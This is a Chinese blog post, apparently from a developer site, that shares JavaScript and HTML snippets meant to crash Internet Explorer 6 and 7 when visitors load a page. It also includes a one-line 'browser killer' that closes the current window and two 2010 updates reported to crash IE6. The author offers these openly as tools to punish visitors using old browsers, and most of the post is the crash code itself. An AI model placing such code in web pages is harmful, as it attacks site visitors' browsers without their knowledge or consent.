IE6与IE7封杀器与浏览器杀手

本文介绍了一种利用HTML和JavaScript巧妙设计的代码,能够直接针对IE6与IE7浏览器实施致命攻击,使其无法正常运行。通过设置特定的HTML元标记和JavaScript代码,作者提供了一个简洁且直接的解决方法,旨在提升网络环境的安全性和兼容性。

记得老赵好像很讨厌人家用IE6来访问他的博客的,用一种比较温和的方法跳到一个提示页。最近发现一个强bug,能一下子整死IE6与IE7,连喘息的余地也不给。我想是否应该公开出来,为中国WEB标准做一份贡献。此bug与浏览器的内核有关,不用特征侦探与UA嗅探什么的,好使好用!

 
  
        document.createElement("li").value = 1;
     
<!doctype html> <html> <head> <meta charset="utf-8"/> <meta content="IE=8" http-equiv="X-UA-Compatible"/> <meta name="keywords" content="IE6与IE7封杀器 by 司徒正美" /> <meta name="description" content="IE6与IE7封杀器 by 司徒正美" /> <script type="text/javascript"> //使用setAttribute也行,值好像是固定,为1(读作"日",日得好!) document.createElement("li").value = 1; </script> <title>IE6与IE7封杀器 by 司徒正美</title> </head> <body> <h1>杀!杀!杀!</h1> <h2>不行请刷新页面(这是运行框的问题)</h2> </body> </html>

运行代码

当然整死IE6的代码还有许多,知情者请不吝赐教。最后附赠另一个邪恶东东,能整死大多数浏览器(当前页),堪称为浏览器杀手。

 
  window.opener=null;window.open('','_self');window.close();

执行浏览器杀手

 
//2010.6.28更新 kill IE6
function crash() {
  for (x in document.open);
}
crash();
 
//2010.6.28更新 kill IE6
function equal(x, y) {
  return x == y;
}
function test() {
  var v = 2147483647; // 2^31-1
  v++;
  equal(v, 2147483648);
}
test();

相关链接

为IE找个新死法

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值